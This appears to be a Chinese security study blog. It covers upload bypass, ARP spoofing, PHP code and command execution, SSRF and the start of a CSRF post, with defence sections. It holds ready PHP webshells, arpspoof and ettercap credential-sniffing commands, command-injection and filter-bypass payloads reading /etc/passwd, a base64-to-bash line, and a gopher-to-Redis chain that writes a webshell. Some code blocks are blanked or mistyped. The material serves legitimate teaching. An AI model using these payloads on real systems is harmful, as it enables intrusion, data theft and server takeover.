shell.pphphp
12

13
# 图片马生成
14
copy 0.jpg /b + shell.php /a shell.jpg
15

16
# .htaccess
17
AddType application/x-httpd-php .jpg

展开收起

判断黑白名单#

方法	操作
上传 `.txt`	成功 → 黑名单，失败 → 白名单
上传 `.php`	失败 → 黑名单或白名单限制
上传 `.php3`	成功 → 黑名单不完整
上传 `.jpg.php`	成功 → 仅检查后缀名

目录权限#

1
/uploads/ 目录应禁止执行 PHP 文件
2
配置：php_flag engine off

一句话木马#

1
<?php @eval($_POST['cmd']); ?>
2
<?php system($_GET['c']); ?>
3
<?= @eval($_POST['cmd']); ?>

图片马代码#

1
// 隐藏在一张图片末尾
2
<?php @eval($_POST['cmd']); ?>

ARP 协议与 ARP 欺骗

Fri, 18 Sep 2026 14:49:00 GMT

一、网络基础#

1.1 OSI 七层模型#

层级	名称	作用
7	应用层	为用户提供网络服务（HTTP、FTP、SMTP等）
6	表示层	数据格式转换、加密、压缩
5	会话层	建立、管理和终止通信会话
4	传输层	端到端数据传输（TCP/UDP），负责可靠传输
3	网络层	地址管理和路由选择（IP协议）
2	数据链路层	在互连设备之间传送数据帧，MAC地址工作在此层
1	物理层	为数据传输提供物理链路（网线、光纤等）

1.2 TCP/IP 四层模型#

层级	对应 OSI	说明
应用层	应用层 + 表示层 + 会话层	HTTP、FTP、DNS、SMTP
传输层	传输层	TCP、UDP
网际层	网络层	IP、ICMP、ARP
网络接口层	数据链路层 + 物理层	以太网、WiFi

二、MAC 地址#

2.1 什么是 MAC 地址？#

属性	说明
全称	媒体访问控制地址（Media Access Control Address）
长度	12 位十六进制数字，占用 48 bits
格式	`00-50-56-C0-00-01` 或 `00:50:56:C0:00:01`
特点	全球唯一，固化在网卡中
查看命令	Windows：`ipconfig /all`

2.2 MAC 地址的作用#

在数据链路层唯一标识网络设备
用于同一链路（局域网）内的设备通信
交换机依据 MAC 地址转发数据帧

三、ARP 协议#

3.1 什么是 ARP？#

ARP（Address Resolution Protocol，地址解析协议）的功能是将 IP 地址转换成 MAC 地址。

3.2 为什么需要 ARP？#

网络层使用 IP 地址 标识主机
数据链路层使用 MAC 地址 传输数据帧
需要一种机制将 IP 地址映射到 MAC 地址 → ARP 协议

3.3 正常 ARP 工作流程#

假设：主机 A（192.168.1.2）想与主机 B（192.168.1.3）通信。

1
步骤 1：主机 A 检查本地 ARP 缓存表
2
        ↓ 没有主机 B 的 MAC 地址
3
步骤 2：主机 A 发送 ARP 请求包（广播）
4
        问："谁的 IP 是 192.168.1.3？请告诉我你的 MAC 地址"
5
        ↓ 同一链路所有主机都收到
6
步骤 3：主机 B 检查目标 IP 是自己的
7
        主机 B 发送 ARP 响应包（单播）
8
        答："我是 192.168.1.3，我的 MAC 是 00-11-22-33-44-55"
9
        ↓
10
步骤 4：主机 A 收到响应，更新 ARP 缓存表
11
        开始通信

3.4 ARP 缓存表#

为了减少 ARP 查询产生的网络流量，主机将 ARP 映射结果缓存在本地。

命令	作用
`arp -a`	查看 ARP 缓存表
`arp -d`	删除 ARP 缓存（需管理员权限）

ARP 缓存有生存周期，超时后会重新查询。

四、ARP 攻击原理#

4.1 核心缺陷#

ARP 协议无身份验证机制：主机收到 ARP 响应包后，无条件信任并更新缓存表。

4.2 攻击场景#

网络中有 A、B、C 三台主机，A 与 B 正常通信，主机 C（攻击者） 实施 ARP 欺骗。

1
步骤 1：主机 C 给主机 A 发送 ARP 响应包
2
        伪造："主机 B 的 IP 对应主机 C 的 MAC"
3
        ↓
4
步骤 2：主机 A 收到后，更新 ARP 缓存表
5
        将主机 B 的 IP 映射到主机 C 的 MAC
6
        ↓
7
步骤 3：主机 A 发往主机 B 的数据包，实际发给了主机 C
8
        ↓
9
步骤 4：主机 C 可以选择：
10
        ├── 不转发 → 主机 A 和 B 通信中断（断网攻击）
11
        └── 转发数据包 → 中间人攻击（窃听通信内容）

4.3 攻击本质#

假冒”我是谁” 攻击者 MAC 地址 = 我（攻击者）被冒充者 IP 地址 = 谁（目标 IP）

五、ARP 攻击的危害#

攻击类型	说明
ARP 泛洪攻击	向网关发送大量 ARP 报文，导致网关无法正常响应
断网攻击	欺骗目标主机，让目标主机找不到网关，无法上网
中间人攻击（MITM）	同时欺骗目标主机和网关，实现流量劫持和窃听
欺骗普通主机	冒充其他主机的 MAC 身份
欺骗网关	让网关误认为攻击者就是目标主机

六、ARP 攻击复现#

6.1 实验环境#

角色	IP 地址	系统
攻击机	192.168.3.128	Kali Linux
受害机	192.168.3.155	Ubuntu 靶机
网关	192.168.3.1	Windows

6.2 工具#

arpspoof：Kali 内置，用于发送 ARP 欺骗包
Wireshark：抓包分析
ettercap：中间人攻击 + 敏感数据窃取

6.3 攻击1：断网攻击#

Terminal window

1
# 语法：arpspoof -i 网卡 -t 目标IP 网关IP
2

3
# 告诉目标主机：我是网关（让目标主机把流量发给攻击者）
4
sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1

效果： 受害主机无法上网（因为流量被引向攻击者，但攻击者未开启转发）。

停止： Ctrl + C 停止 arpspoof，受害机恢复网络。

6.4 攻击2：中间人攻击（MITM）#

步骤1：开启 IP 转发#

Terminal window

1
# 让 Kali 能够转发接收到的数据包
2
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

值	含义
0	IP 转发关闭（默认）
1	IP 转发开启

步骤2：欺骗目标主机#

Terminal window

1
# 让目标主机认为 Kali 是网关（正向欺骗）
2
sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1

步骤3：欺骗网关#

Terminal window

1
# 让网关认为 Kali 是目标主机（反向欺骗）
2
sudo arpspoof -i eth0 -t 192.168.3.1 192.168.3.155

流量路径#

1
请求方向：
2
  受害机（155）→ Kali（128）→ 网关（1）→ 互联网
3

4
响应方向：
5
  互联网 → 网关（1）→ Kali（128）→ 受害机（155）

步骤4：使用 Wireshark 抓包验证#

Terminal window

1
# 启动 Wireshark，选择 eth0 网卡
2
# 在受害机上 ping Ubuntu 靶机（192.168.3.141）
3
# 在 Wireshark 中看到 ICMP 包 → 流量经过 Kali，验证成功

6.5 使用 Ettercap 窃取敏感数据#

Terminal window

1
# 启动 Ettercap（图形界面）
2
sudo ettercap -G

操作流程：

选择网卡（eth0）
扫描主机（Scan for hosts）
添加目标（目标主机和网关）
启用 ARP 欺骗（Mitm → ARP poisoning）
开始嗅探（Start → Start sniffing）

效果： 受害机登录 HTTP 网站时，用户名/密码会被 Ettercap 捕获显示。

七、ARP 防御#

7.1 主机级被动检测#

当主机收到 ARP 响应包时，检查发送端 IP 地址是否与自己的 IP 地址相同。如果相同，说明局域网内有另一台主机冒充自己。

7.2 主机级主动检测#

主机定期向局域网发送查询自己 IP 地址的 ARP 请求。如果收到另一台主机的响应，说明存在 IP 冲突（ARP 欺骗）。

7.3 服务器级检测#

收到 ARP 响应后，使用 RARP（反向地址解析协议）从 MAC 地址反查 IP 地址，比较两个 IP 是否一致。

7.4 网络级检测#

主机定期向中心管理主机报告 ARP 缓存内容，中心主机检查：

不同主机报告信息是否一致
同一主机前后报告内容是否变化

7.5 常见防御措施#

措施	说明
IP-MAC 静态绑定	在主机和交换机上绑定 IP 和 MAC 的对应关系
交换机端口安全	限制端口允许的 MAC 地址数量
启用 ARP 防护	在主机或交换机上开启 ARP 攻击防护功能
使用 VPN	加密通信，防止数据被窃听
使用 HTTPS	加密 HTTP 通信，防止敏感信息泄露

7.6 Windows 静态绑定#

1
# 查看 ARP 缓存
2
arp -a
3

4
# 静态绑定 IP-MAC
5
arp -s 192.168.1.1 00-11-22-33-44-55
6

7
# 删除静态绑定
8
arp -d 192.168.1.1

📌 快速参考卡片#

协议分层速记#

1
OSI 七层（从下往上）：
2
  物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层
3

4
口诀：物数网传会表应

ARP 攻击命令#

Terminal window展开收起

1
# 断网攻击
2
sudo arpspoof -i eth0 -t 目标IP 网关IP
3

4
# 中间人攻击（双向欺骗）
5
sudo echo 1 > /proc/sys/net/ipv4/ip_forward          # 开启转发
6
sudo arpspoof -i eth0 -t 目标IP 网关IP               # 欺骗目标
7
sudo arpspoof -i eth0 -t 网关IP 目标IP               # 欺骗网关
8

9
# 查看 ARP 缓存（Windows/Linux）
10
arp -a
11

12
# 清除 ARP 缓存（需管理员）
13
arp -d
14

15
# 启动 Ettercap 图形界面
16
sudo ettercap -G

展开收起

ARP 攻击流程#

1
1. 确定目标 IP 和网关 IP
2
2. 开启 IP 转发（中间人模式）
3
3. arpspoof 欺骗目标主机（我是网关）
4
4. arpspoof 欺骗网关（我是目标）
5
5. 用 Wireshark 或 Ettercap 抓取流量
6
6. 分析数据，提取敏感信息

防御要点#

1
✅ IP-MAC 静态绑定
2
✅ 交换机端口安全
3
✅ 使用 HTTPS 加密通信
4
✅ 启用 ARP 防护功能
5
✅ 定期监控 ARP 缓存变化

RCE 远程命令执行

Thu, 17 Sep 2026 14:47:00 GMT

一、RCE 概述#

1.1 什么是 RCE？#

RCE（Remote Code/Command Execution，远程代码/命令执行）属于注入漏洞的一种。前端构造的恶意代码片段被后端当作命令或代码执行。

RCE 分为两种类型：

类型	说明
代码执行	通过危险函数执行 PHP 代码（如 `eval()`、`assert()`）
命令执行	通过危险函数执行系统命令（如 `system()`、`exec()`）

1.2 RCE 的危害#

技术层面：

造成任意命令/代码执行
受害服务器可能被完全控制

具体影响：

网站被控制
信息泄露
挖矿
首页被篡改
服务器负载增加
服务器被加入僵尸网络

1.3 漏洞原理#

1
后台存在危险函数（如 eval、system、exec）
2
    +
3
后端能接收用户输入
4
    +
5
未对输入进行有效过滤和限制
6
    =
7
RCE 漏洞

1.4 如何发现#

凡是通过简单调用操作系统命令便能完成复杂代码编写才能实现功能的点，都可能触发 RCE。

典型场景：

测试网络可达性的功能页面（ping）
文件打包下载功能（tar）
数据库备份功能（mysqldump）
系统信息展示功能（uname）

💡 核心思路：找到开发人员可能”偷懒”直接调用系统命令的功能点。

二、代码执行（Code Execution）#

2.1 危险函数列表#

函数	说明
`eval()`	将字符串作为 PHP 代码执行（语言结构，无法禁用）
`assert()`	将字符串作为 PHP 代码执行（一次只能执行一条）
`preg_replace()`	正则替换，`/e` 修饰符导致代码执行（PHP 7.0+ 已移除）
`create_function()`	创建匿名函数，内部调用 `eval()`
`array_map()`	为数组每个元素应用回调函数
`call_user_func()`	调用回调函数
`call_user_func_array()`	调用回调函数，参数为数组
`array_filter()`	用回调函数过滤数组
文件操作函数	`file_put_contents()` 可写木马文件
动态函数	`$a($b)` 形式

2.2 eval()#

1
<?php
2
// 一句话木马
3
eval($_REQUEST[6]);
4

5
// 获取参数并执行
6
$code = $_GET['code'];
7
eval($code);
8
?>

⚠️ eval() 是语言结构，不是普通函数，无法通过 disable_functions 禁用。如需禁用需安装 suhosin 扩展。

2.3 assert()#

1
<?php
2
// 与 eval 类似，但一次只能执行一条语句
3
assert($_REQUEST[6]);
4
?>

eval vs assert：

对比	eval()	assert()
类型	语言结构	函数
可禁用	❌ 不可禁用	✅ 可通过 `disable_functions` 禁用
执行多条	✅ 可以	❌ 只能一条

2.4 preg_replace() + /e 修饰符#

1
<?php
2
// 危险代码（PHP 7.0+ 已移除 /e 修饰符）
3
@prep_replace("/abc/e", $_REQUEST[6], "abcd");
4
// 会将 replacement 参数当作 PHP 代码执行
5
?>

PHP 版本	/e 支持情况
PHP 5.5 以下	✅ 可直接使用
PHP 5.5 ~ 7.0	⚠️ 可使用但产生警告
PHP 7.0 以上	❌ 已移除，使用 `preg_replace_callback()` 替代

2.5 create_function()#

1
<?php
2
// 创建匿名函数
3
$myfunc = create_function('$name', 'echo "hello".$name;');
4
// 等价于
5
function myfunc($name) {
6
    echo "hello".$name;
7
}
8
?>

注入利用：

1
<?php
2
// 有漏洞的代码
3
$id = $_GET['id'];
4
$code = 'return $a."_".$id;';
5
$func = create_function('$a', $code);
6
$func(1);
7

8
// 攻击 Payload
9
// ?id=;phpinfo();/*
10
// 生成的函数变为：
11
function($a) { return $a."_".;phpinfo();/*"; }
12
// 执行后调用 phpinfo()
13
?>

2.6 array_map()#

1
<?php
2
// 危险代码
3
$func = $_GET['func'];
4
$cmd = $_GET['cmd'];
5
$array[0] = $cmd;
6
$new_array = array_map($func, $array);
7

8
// Payload
9
// ?func=system&cmd=whoami
10
// ?func=assert&cmd=phpinfo()
11
?>

2.7 call_user_func()#

1
<?php
2
// 危险代码
3
@call_user_func('assert', $_GET['cmd']);
4

5
// Payload
6
// ?cmd=phpinfo()
7
?>

2.8 call_user_func_array()#

1
<?php
2
// 危险代码
3
$cmd = $_GET['cmd'];
4
$array[0] = $cmd;
5
call_user_func_array("assert", $array);
6

7
// Payload
8
// ?cmd=phpinfo()
9
?>

2.9 array_filter()#

1
<?php
2
// 危险代码
3
$cmd = $_GET['cmd'];
4
$array1 = array($cmd);
5
$func = $_GET['func'];
6
array_filter($array1, $func);
7

8
// Payload
9
// ?func=system&cmd=whoami
10
?>

2.10 文件操作函数#

1
<?php
2
                                                           ?>';
3
file_put_contents('test1.php', $test);
4

5
// 访问 test1.php 即可执行任意代码
6
?>

2.11 动态函数#

1
<?php
2
// PHP 允许通过变量调用函数
3
// Payload: ?a=assert&b=phpinfo()
4
$_GET['a']($_GET['b']);
5
?>

2.12 双引号解析/复杂表达式#

1
<?php
2
// PHP 字符串中的复杂表达式可以执行代码
3
${phpinfo()};     // 执行 phpinfo()
4
$$(phpinfo());    // 执行 phpinfo()
5
$a = $(phpinfo()); // 执行 phpinfo()
6
?>

三、命令执行（Command Execution）#

3.1 危险函数列表#

函数	说明
`system()`	执行命令，直接输出结果，返回最后一行
`exec()`	执行命令，返回最后一行，需手动输出
`shell_exec()`	执行命令，返回全部结果
`passthru()`	执行命令，直接输出原始结果（支持二进制）
`popen()`	打开进程指针，需用 `fread()` 读取
`proc_popen()`	更强大的进程操作
反引号	`command` 等效于 `shell_exec()`

3.2 system()#

1
<?php
2
                                                                                                                          ?>" > 1.php');
3

4
// ping 命令
5
system("ping 127.0.0.1");
6
?>

3.3 exec()#

1
<?php
2
// 只返回最后一行，需手动输出
3
echo exec('whoami');
4

5
// 返回结果到数组
6
exec("dir", $output);
7
print_r($output);
8
?>

system vs exec：

对比	system()	exec()
输出方式	直接输出到浏览器	需 `echo` 输出
返回值	最后一行	最后一行
第二个参数	返回状态码	返回数组+状态码

3.4 shell_exec()#

1
<?php
2
// 返回全部结果
3
$res = shell_exec("dir");
4
var_dump($res);
5

6
// 反引号是 shell_exec 的简写
7
$res = `dir`;
8
var_dump($res);
9
?>

常见应用场景：

Terminal window

1
# 文件打包
2
shell_exec('tar -zcf file.tar.gz /path/to/dir')
3

4
# 数据库备份
5
shell_exec('mysqldump -uroot -p123456 --databases db > backup.sql')
6

7
# 系统信息
8
shell_exec('uname -a')

3.5 passthru()#

1
<?php
2
// 直接输出原始结果，支持二进制数据
3
passthru("ping 127.0.0.1");
4

5
// 可以输出图片等二进制数据
6
passthru("cat image.jpg");
7
?>

3.6 popen()#

1
<?php
2
$res = popen("ping 127.0.0.1", 'r');
3
echo fread($res, 1024);
4
pclose($res);
5
?>

3.7 命令连接符#

Windows#

连接符	说明	示例
`&`	两边都执行	`ping 127.0.0.1 & whoami`
`&&`	前面成功才执行后面	`ping 127.0.0.1 && whoami`
`		`
`	`	管道，前面输出作为后面输入

Linux#

连接符	说明	示例
`;`	两边都执行	`ping 127.0.0.1; whoami`
`&`	后台执行，两边都执行	`ping 127.0.0.1 & whoami`
`&&`	前面成功才执行后面	`ping 127.0.0.1 && whoami`
`		`
`	`	管道
`	将命令输出当参数	`whoami`
`$()`	将命令输出当参数	`$(whoami)`

3.8 实战示例#

Terminal window

1
# 测试网络可达性功能
2
http://target.com/ping.php?ip=127.0.0.1
3

4
# 命令注入
5
http://target.com/ping.php?ip=127.0.0.1;whoami
6
http://target.com/ping.php?ip=127.0.0.1&whoami
7
http://target.com/ping.php?ip=127.0.0.1|whoami
8

9
# 写 webshell
10
http://target.com/ping.php?ip=127.0.0.1|echo "<?php eval($_REQUEST[6]);?>" > shell.php

四、绕过技巧#

4.1 黑名单绕过#

技巧	示例
拼接	`a=ca;b=t; $a$b /etc/passwd`
Base64	`echo “Y2F0IC9ldGMvcGFzc3dk”
单双引号	`ca""t /etc/passwd`
反斜线	`ca\t /etc/passwd`
通配符	`/???/c?t /???/p??s??`
变量扩展	`cat ${HOME:0:1}etc${HOME:0:1}passwd`
特殊变量	`ca$@t /etc$1/passwd`

4.2 空格绕过#

平台	技巧
Linux	`cat</etc/passwd`
Linux	`{cat,/etc/passwd}`
Linux	`cat$IFS/etc/passwd`
Linux	`cat${IFS}/etc/passwd`
Windows	`ping%CommonProgramFiles:~10,-18%IP`

4.3 长度限制绕过#

Terminal window

1
# 创建空文件
2
> a
3

4
# 按时间排序输出到文件
5
ls -t > test
6

7
# 执行文件中的命令
8
sh test

五、RCE 防御#

5.1 代码执行防御#

措施	说明
禁用危险函数	在 `php.ini` 中配置 `disable_functions`
禁用危险函数	`disable_functions = system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec,eval,assert,preg_replace`
输入过滤	对用户输入严格过滤和转义
WAF	部署 Web 应用防火墙

5.2 命令执行防御#

措施	说明
尽量避免使用命令执行函数	用原生 PHP 功能替代系统命令
输入过滤检测	对进入命令函数的参数进行严格过滤
限制权限	降低 PHP 进程运行权限
白名单	仅允许指定的命令或参数

5.3 安全配置示例#

1
# php.ini 配置
2
disable_functions = system,exec,shell_exec,passthru,popen,proc_popen,pcntl_exec,eval,assert,preg_replace,create_function,array_map,call_user_func,call_user_func_array,array_filter

📌 快速参考卡片#

代码执行函数#

1
eval($_REQUEST[6]);                    // 语言结构，无法禁用
2
assert($_REQUEST[6]);                   // 可被 disable_functions 禁用
3
preg_replace("/abc/e", $_REQUEST[6], "abcd");  // PHP 7.0+ 已移除 /e
4
create_function('$a', $code);           // 内部调用 eval
5
array_map($func, $array);               // 回调函数
6
call_user_func('assert', $_GET['cmd']); // 调用回调函数
7
file_put_contents('shell.php', '<?php eval($_REQUEST[6]);?>');
8
$_GET['a']($_GET['b']);                 // 动态函数调用

命令执行函数#

1
system('whoami');        // 直接输出
2
exec('whoami');          // 返回最后一行
3
shell_exec('whoami');    // 返回全部结果
4
passthru('whoami');      // 原始输出
5
popen('whoami', 'r');    // 返回指针
6
`whoami`;                // 反引号执行

命令连接符#

Terminal window

1
# Linux
2
;  # 顺序执行
3
&  # 后台执行
4
&& # 前面成功才执行
5
|| # 前面失败才执行
6
|  # 管道
7

8
# Windows
9
&  # 两边都执行
10
&& # 前面成功才执行
11
|| # 前面失败才执行
12
|  # 管道

绕过技巧#

Terminal window

1
# 空格绕过
2
cat</etc/passwd
3
cat$IFS/etc/passwd
4
{cat,/etc/passwd}
5

6
# 黑名单绕过
7
ca""t /etc/passwd
8
ca\t /etc/passwd
9
/???/c?t /???/p??s??
10
a=ca;b=t; $a$b /etc/passwd
11

12
# Base64 绕过
13
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash

SSRF 服务端请求伪造

Wed, 16 Sep 2026 14:46:00 GMT

一、SSRF 概述#

1.1 什么是 SSRF？#

SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种由攻击者构造请求，由服务端发起请求的安全漏洞。

1.2 核心概念#

属性	说明
攻击方式	攻击者构造请求，由服务器代为发送
攻击目标	外网无法直接访问的内部系统
核心原因	服务器对目标地址未做严格过滤与限制

1.3 数据流#

1
攻击者 → 构造恶意URL → 服务器接收请求 → 服务器向目标地址发起请求 → 返回响应给攻击者

示例：

Terminal window

1
# 正常功能：获取远程图片
2
http://www.test01.com/file.php?url=http://file.com/image.jpg
3

4
# SSRF攻击：读取本地文件
5
http://www.test01.com/file.php?url=file:///etc/passwd
6

7
# SSRF攻击：探测内网
8
http://www.test01.com/file.php?url=http://192.168.1.1/admin

1.4 通俗理解#

1
A网站 = 外网可访问的网站
2
B网站 = 内部OA系统（外网无法访问）
3

4
普通用户：只能访问A，不能访问B
5

6
SSRF利用：通过A网站作为跳板 → 访问B网站 → 攻击内网系统

二、SSRF 原理#

2.1 形成原因#

服务端提供了从其他服务器获取数据的功能（如加载图片、获取网页内容）
服务端对用户提供的 URL 没有做严格的过滤与限制
攻击者可以传入任意地址，让服务端发起请求并返回结果

2.2 漏洞产生点#

1
http://www.test.com/xxx.php?image=/1.png
2
                                   ↑
3
                            此处未做过滤

攻击者可以修改 image 参数为内网地址：

1
http://www.test.com/xxx.php?image=http://192.168.1.1/admin
2
http://www.test.com/xxx.php?image=file:///etc/passwd

2.3 常见攻击方式#

攻击方式	说明
端口扫描	对外网、内网、本地进行端口扫描，获取服务 Banner
攻击内网应用	攻击运行在内网或本地的应用程序
内网资产识别	对内网 Web 应用进行指纹识别
攻击内网 Web 应用	利用 HTTP GET 请求的攻击（如 Struts2、SQL 注入）
读取本地文件	利用 file:// 协议读取敏感文件

三、SSRF 涉及的协议#

3.1 主要协议#

协议	说明	示例
`http://`	HTTP 请求	探测内网 Web 服务
`https://`	HTTPS 请求	同上
`file://`	读取本地文件	`file:///etc/passwd`
`dict://`	字典协议，探测端口/服务	`dict://127.0.0.1:6379/info`
`gopher://`	功能最强的协议，可构造任意 TCP 数据包	攻击 Redis、MySQL 等

3.2 curl 协议支持#

Terminal window

1
# curl 支持的协议
2
dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet

3.3 curl 常用命令#

Terminal window展开收起

1
# 发送 HTTP 请求
2
curl http://www.baidu.com
3

4
# -v：显示详细操作信息（含请求头和响应头）
5
curl -v http://www.baidu.com
6

7
# -k：忽略 HTTPS 证书验证
8
curl -k https://self-signed.badssl.com
9

10
# -O：下载文件
11
curl -O http://example.com/file.zip
12

13
# file:// 协议读文件
14
curl -v file:///etc/passwd
15

16
# dict:// 协议探测
17
curl -v "dict://127.0.0.1:6379/info"
18

19
# gopher:// 协议（功能最强）
20
curl -v "gopher://127.0.0.1:6379/_info"

展开收起

四、内网 IP 范围#

类别	IP 范围
A类	10.0.0.0 ~ 10.255.255.255
B类	172.16.0.0 ~ 172.31.255.255
C类	192.168.0.0 ~ 192.168.255.255

特殊地址	说明
192.168.x.0	网络地址，不可用
192.168.x.1	第一个可用 IP，通常是网关
192.168.x.255	广播地址
127.0.0.1	本机地址（localhost）

五、SSRF 利用步骤#

5.1 总体流程#

1
1. 利用 http:// 协议扫描内网 IP 和端口
2
2. 利用 file:// 协议读取本地敏感文件
3
3. 利用 dict/gopher 协议攻击探测到的内网服务（如 Redis）

5.2 常见导致 SSRF 的 PHP 函数#

函数	说明
`file_get_contents()`	读取文件内容，支持 URL
`fsockopen()`	打开网络 Socket 连接
`curl_exec()`	执行 cURL 请求（最常用、功能最强）

5.3 漏洞代码示例#

ssrf.php

1
<?php
2
$url = isset($_GET['url']) ? $_GET['url'] : "";
3
if ($url) {
4
    $ch = curl_init();
5
    curl_setopt($ch, CURLOPT_URL, $url);
6
    curl_setopt($ch, CURLOPT_HEADER, 0);
7
    $result = curl_exec($ch);
8
    curl_close($ch);
9
}
10
?>

请求 HTTPS 时绕过证书验证：

1
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
2
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);

六、利用方式详解#

6.1 利用 http:// 探测端口#

1
# 探测本地 3306 端口
2
http://localhost/ssrf/ssrf.php?url=http://127.0.0.1:3306
3

4
# 有服务 → 有响应（可判断端口开放）
5
# 无服务 → 无响应或超时

可以配合 Burp Suite 对内网进行批量端口扫描。

6.2 利用 dict:// 探测服务#

Terminal window

1
# dict 协议可以探测目标端口的指纹信息
2
http://localhost/ssrf/ssrf.php?url=dict://127.0.0.1:6379
3

4
# 如果 Redis 开放，会返回类似：
5
# +OK
6
# Unknown subcommand or wrong number of arguments for 'libcurl'

6.3 利用 file:// 读取敏感文件#

1
# Windows
2
http://localhost/ssrf/ssrf.php?url=file://C:/windows/win.ini
3
http://localhost/ssrf/ssrf.php?url=file://C:/phpstudy/www/config.php
4

5
# Linux
6
http://localhost/ssrf/ssrf.php?url=file:///etc/passwd
7
http://localhost/ssrf/ssrf.php?url=file:///etc/hosts
8
http://localhost/ssrf/ssrf.php?url=file:///proc/self/environ

6.4 利用 gopher:// 攻击 Redis#

gopher 协议特点：

gopher 是 SSRF 中功能最强大的协议，可以构造任意 TCP 数据包，攻击内网的 FTP、Telnet、Redis、Memcache 等。

gopher 协议格式#

1
gopher://<host>:<port>/_后接TCP数据流

默认端口：70
GET 请求直接构造
POST 请求需 URL 编码，换行用 %0d%0a

gopher 发送 GET 请求#

Terminal window

1
# 原始请求包
2
GET /get.php?name=zhangsan HTTP/1.1
3
Host: 192.168.13.151
4

5
# URL 编码后
6
curl gopher://192.168.13.151:80/_GET%20%2Fget.php%3Fname%3Dzhangsan%20HTTP%2F1.1%0D%0AHost%3A%20192.168.13.151%0D%0A

gopher 发送 POST 请求#

Terminal window

1
# 原始 POST 数据包
2
POST /post.php HTTP/1.1
3
host:192.168.13.151
4
Content-Type:application/x-www-form-urlencoded
5
Content-Length:9
6

7
name=lisi
8

9
# URL 编码后
10
curl gopher://192.168.13.151:80/_POST%20%2Fpost.php%20HTTP%2F1.1%0D%0Ahost%3A192.168.13.151%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A9%0D%0A%0D%0Aname%3Dlisi%0D%0A

6.5 gopher + Redis 写 WebShell#

准备工作#

1. 安装 Redis

Terminal window

1
wget https://download.redis.io/releases/redis-5.0.5.tar.gz
2
tar xzf redis-5.0.5.tar.gz
3
cd redis-5.0.5
4
apt install -y make gcc
5
make

2. 修改 Redis 配置文件

Terminal window

1
protected-mode no   # 关闭保护模式
2
#bind 127.0.0.1    # 注释掉，允许外部连接

3. 启动 Redis

Terminal window

1
src/redis-server redis.conf

生成 Redis 攻击 Payload#

1. 编写 redis.cmd 文件

1
flushall
2
config set dir /var/www/html
3
config set dbfilename shell.php
4
set webshell '<?php eval($_REQUEST[6]);?>'
5
save

2. 使用 Python 脚本生成 gopher 数据包

Terminal window

1
python redis-over-gopher.py

输出类似：

1
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c...

3. 再次 URL 编码后发送

1
http://target.com/ssrf.php?url=gopher://127.0.0.1:6379/_%25%32%61...

执行后在目标服务器生成 /var/www/html/shell.php 木马文件。

七、SSRF 防御#

7.1 防御措施#

措施	说明
1. 过滤返回信息	验证远程服务器响应是否符合预期格式
2. 统一错误信息	避免根据错误信息判断端口状态
3. 限制端口	只允许访问常见 HTTP 端口（80、443、8080、8090）
4. 过滤内网 IP	禁止访问私有 IP 地址段
5. 禁用危险协议	仅允许 http/https，禁用 file://、gopher://、dict://

7.2 内网 IP 过滤示例#

1
// 禁止访问内网 IP
2
function isInternalIP($ip) {
3
    $internal = array(
4
        '10.0.0.0/8',
5
        '172.16.0.0/12',
6
        '192.168.0.0/16',
7
        '127.0.0.0/8'
8
    );
9
    foreach ($internal as $range) {
10
        if (ip_in_range($ip, $range)) {
11
            return true;
12
        }
13
    }
14
    return false;
15
}

展开收起

7.3 白名单方案#

1
// 仅允许访问白名单中的域名
2
$allowlist = array(
3
    'img.example.com',
4
    'api.example.com'
5
);
6

7
$url = parse_url($_GET['url']);
8
$host = $url['host'];
9
if (!in_array($host, $allowlist)) {
10
    die('Invalid URL');
11
}

📌 快速参考卡片#

利用方式#

Terminal window

1
# 端口探测
2
http://target.com/ssrf.php?url=http://192.168.1.1:22
3
http://target.com/ssrf.php?url=http://192.168.1.1:80
4
http://target.com/ssrf.php?url=http://192.168.1.1:6379
5

6
# 读取文件
7
http://target.com/ssrf.php?url=file:///etc/passwd
8
http://target.com/ssrf.php?url=file://C:/windows/win.ini
9

10
# 服务探测 (dict)
11
http://target.com/ssrf.php?url=dict://127.0.0.1:6379/info
12

13
# gopher + Redis 写 shell
14
http://target.com/ssrf.php?url=gopher://127.0.0.1:6379/_%2a...

内网 IP 段#

类别	范围
A类	10.0.0.0 - 10.255.255.255
B类	172.16.0.0 - 172.31.255.255
C类	192.168.0.0 - 192.168.255.255
本地	127.0.0.1

防御#

1
1. 白名单限制 URL
2
2. 禁用 file://、gopher://、dict:// 协议
3
3. 过滤内网 IP
4
4. 统一错误信息
5
5. 限制端口

CSRF 跨站请求伪造

Tue, 15 Sep 2026 14:46:00 GMT

一、什么是 CSRF？#

CSRF（Cross Site Request Forgery，跨站请求伪造），属于前端漏洞，用于攻击前端用户。

核心概念：

在受害者已经登录网站且不知情的情况下，攻击者利用受害者已有的凭证，向服务器发起预期外的请求。

属性	说明
攻击目标	前端用户的浏览器
攻击架构	B/S 架构（Browser ↔ Server）
漏洞类型	前端漏洞

通俗理解： 攻击者盗用了你的身份，以你的名义发送恶意请求。

二、CSRF 的危害#

在条件满足的情况下：

技术层面：

伪造恶意请求（修改密码、转账、删除数据等）

社会影响层面：

电信诈骗
非法更改网站资源
转账
用户增删改查
密码修改
冒用身份进行非法操作

三、CSRF 漏洞原理#

利用浏览器无法区分受害者是主动发起请求还是被迷惑发起请求的固有缺陷，冒用受害者的凭证发起伪造请求。

1
正常流程：
2
  用户登录 → 浏览器保存 Cookie/Session → 用户发起请求 → 服务器验证凭证 → 执行操作
3

4
CSRF攻击流程：
5
  用户登录 → 浏览器保存 Cookie/Session → 用户访问恶意页面 → 恶意页面自动发起请求 → 服务器验证凭证（有效）→ 执行恶意操作

💡 关键缺陷：浏览器在发送请求时会自动携带 Cookie，服务器无法判断该请求是用户主动发起的还是恶意伪造的。

四、如何发现 CSRF？#

核心思路：

寻找敏感请求触发点（修改密码、转账、删除、添加管理员等）
